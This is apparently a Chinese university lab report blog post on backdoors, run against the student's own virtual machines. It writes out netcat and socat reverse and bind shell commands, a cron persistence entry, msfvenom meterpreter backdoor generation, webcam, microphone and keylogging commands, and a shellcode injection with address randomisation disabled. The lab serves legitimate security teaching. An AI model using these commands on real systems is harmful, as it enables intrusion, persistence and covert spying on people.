Scroll to top

2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp2 后门原理与实践

实验内容

  • 1、使用netcat获取主机操作Shell,cron启动 (0.5分)

  • 2、使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  • 3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  • 4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

  • 5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

基础问题回答

  • 1、例举你能想到的一个后门进入到你系统中的可能方式?
    答:正版软件故意或被攻击,包含后门;正版库文件中包含后门;安装包中包含后门,放到网上供下载;绑定到特定文件中,放到网上供下载;直接发送恶意程序;发送攻击性钓鱼链接,恶意网站种马;攻击系统漏洞,获取控制权后,安装后门。

  • 2、例举你知道的后门如何启动起来(win及linux)的方式?
    答:开机自启动技术;win的定时任务;linux的cron(linux下的定时执行工具);修改文件关联;修改后门程序名字、图标、扩展名,诱导用户点击。

  • 3、Meterpreter有哪些给你映像深刻的功能?
    答:可直接生成后门程序,生成后门程序,可以获取目标主机音频、摄像头、截图、击键操作(谍战片的既视感)。

  • 4、如何发现自己有系统有没有被安装后门?
    答:及时安装系统补丁,开启杀毒软件,杀毒软件的木马库版本及时更新,手动查看注册表和启动项,关注任务计划程序库。

常用工具学习

NC或netcat

是一个底层工具,进行基本的TCP、UDP数据收发。常被与其他工具结合使用,起到后门的作用。

netcat常用命令

natcat.exe -help可以查看帮助文档

  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
 

Win获得Linux Shell

  • 1.Windows 打开监听

    • 下载解压ncat.rar
    • 进入ncat.exe所在文件夹,并执行ncat.exe -l -p 端口号
  • 2.Linux反弹连接win

    • 查询Windows的ip
    • 反弹连接nc windows端ip 5234 -e /bin/sh

Linux获得Win Shell

  • 1.Linux运行监听指令
    进入ncat.exe所在文件夹,并执行nc -l -p 5234
  • 2.Windows反弹连接Linux
    • 获取linux端ipip address
    • 反弹连接ncat.exe -e cmd.exe linux的ip 5234
      出现错误如图:

      解决措施:关闭linux端防火墙

nc传输数据

  • 1、Windows下监听
    ncat.exe -l 5234
  • 2、Kali下连接到Windows的5234端口
    ncat 192.168.43.231 5234

Meterpreter

Meterpreter是Metasploit的默认Windows系统下的ShellCode。meterpreter是一种高级、隐蔽、多层面的且可动态扩展的payload,可以将反射dll注入到目标主机的内存中,还可以在运行时动态加载脚本和插件来进行后渗透利用。包括提权、转存系统账号、键盘记录、持久后门服务、启用远程桌面等,还有很多其他的扩展。而且,meterpreter shell的整个通信都是默认加密的。

Metasploit是一个漏洞框架,全称叫做The Metasploit Framework,简称叫做MSF。

实践过程记录

任务一:使用netcat获取主机操作Shell,cron启动

  • Windows系统中监听端口:ncat.exe -l -p 5234
  • Linux系统中使用 crontab -e增加一条定时任务
zsy20175234@ZhaoShiYue:~$ crontab -e
no crontab for zsy20175234 - using an empty one

Select an editor.  To change later, run 'select-editor'.
  1. /bin/nano        <---- easiest
  2. /usr/bin/vim.basic
  3. /usr/bin/vim.tiny

Choose 1-3 [1]: 2
crontab: installing new crontab

在文段末尾,添加一行19 * * * * /bin/netcat 192.168.43.231 5234 -e /bin/sh,意思是在每个小时的第19分钟(选了跟时间比较近的时间点)反向连接Windows主机让其能够执行Shell功能。

  • crontab -l可查看任务列表

任务二:使用socat获取主机操作Shell, 任务计划启动

了解socat

NAME
Multipurpose relay (SOcket CAT)
SYNOPSIS
socat [options]

实验步骤

  • 开始右键打开计算机管理器

  • 创建任务,任务名自定义

  • 创建新的触发器,修改时间,勾选已启用

  • 新建操作,操作为启动socat.exe程序,参数填写tcp-listen:5234 exec:cmd.exe,pty,stderr

  • 到设定时间点,Windows弹出socat.exe(不要关闭它)

  • 在kali中输入socat - tcp:192.168.43.231:5234,千万千万不要乱加空格,否则会一直报错,然后就可以看到攻击成功的显示啦

任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 生成后门程序msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234_backdoor.exe

    • 小贴士1:如果报错
[*] Bundler failed to load and returned this error:
'cannot load such file -- bundler/setup'
[*] You may need to uninstall or upgrade bundler

是因为msfconsole依赖的版本为1.17.3,所以需要安装旧版本哦

- maybe你跟我一样不幸运,好不容易下载完又报错
ERROR:  While executing gem ... (Gem::FilePermissionError)
    You don't have write permissions for the /var/lib/gems/2.5.0 directory.

那就是安装的时候没有权限,那就是命令需要加上sudo的意思

  • 通过ncat传送到Windows主机
    Windows端输入ncat.exe -lv 5234 >20175234_backdoor.exe
    Kali端输入nc 192.168.43.231 5234 < 20175234_backdoor.exe

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口

  • 执行监听

  • 关闭Windows端的所有杀毒防护软件

  • 运行Windows下的后门程序20175234_backdoor.exe

任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频
  • 使用webcam_snap指令可以使用摄像头进行拍照
  • 使用screenshot指令可以进行截屏
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:
  • 使用getuid查看当前用户,getsystem进行提权

???任务五:使用MSF生成后门程序,注入到实践1中的pwn1

  • 查看靶机的目标程序类型

  • Kali生成后门程序msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1 LHOST=192.168.26.128 LPORT=5234 -f elf > 20175234_linux.bak

  • 给后门程序加执行权限chmod +x 20175234_linux.bak

  • 攻击端进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口

  • 执行监听exploit

  • 靶机运行后门程序

做完实验,我又偷偷看了看别人的博客,发现好像这个任务做的不对……以下是正解


!!!任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 进入Exploit DataBase查找需要的shellcode,

    将里头的机器码复制出来
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
  • 注入前的准备工作
    execstack -s pwn1 //设置堆栈可执行
    execstack -q pwn1 //查询文件的堆栈是否可执行,显示X pwn1则表示可执行
    echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化
    more /proc/sys/kernel/randomize_va_space//查看随机化是否关闭,如显示0则已关闭,2未关闭

  • 通过gdb调试寻找shellcode的起始地址
    初始input_shellcode:

perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

gdb调试

  • 修改input_shellcode
perl -e 'print "A" x 32;print"\xb0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
  • 另打开一终端,打开msfconsole,设置监听

  • 前一终端注入操作(cat input_shellcode;cat) | ./pwn1

总结与体会

我们通过简单的实践了解了简单的后门软件的生成、植入、运行过程,对后门原理有了初步的认识,也学到了后门工具(nc、meterpreter)的常用命令。
在阅读老师的实验指导书、同学的博客时感觉本次实验内容并不太难,但是很有趣。实践时却有很多问题,多一个空格会报错,输错了ip不显示直到最后出不来结果才发现,感觉只是简单安装个bundler也一直中断,好不容易把bundler下载下来又发现没有安装权限。但是整体还是很奈斯,尤其是能听到录音、看到摄像头拍摄的内容时。

资料参考

posted @ 2020-03-12 00:46  September_starlet  阅读(362)  评论(0编辑  收藏  举报
动态线条
动态线条end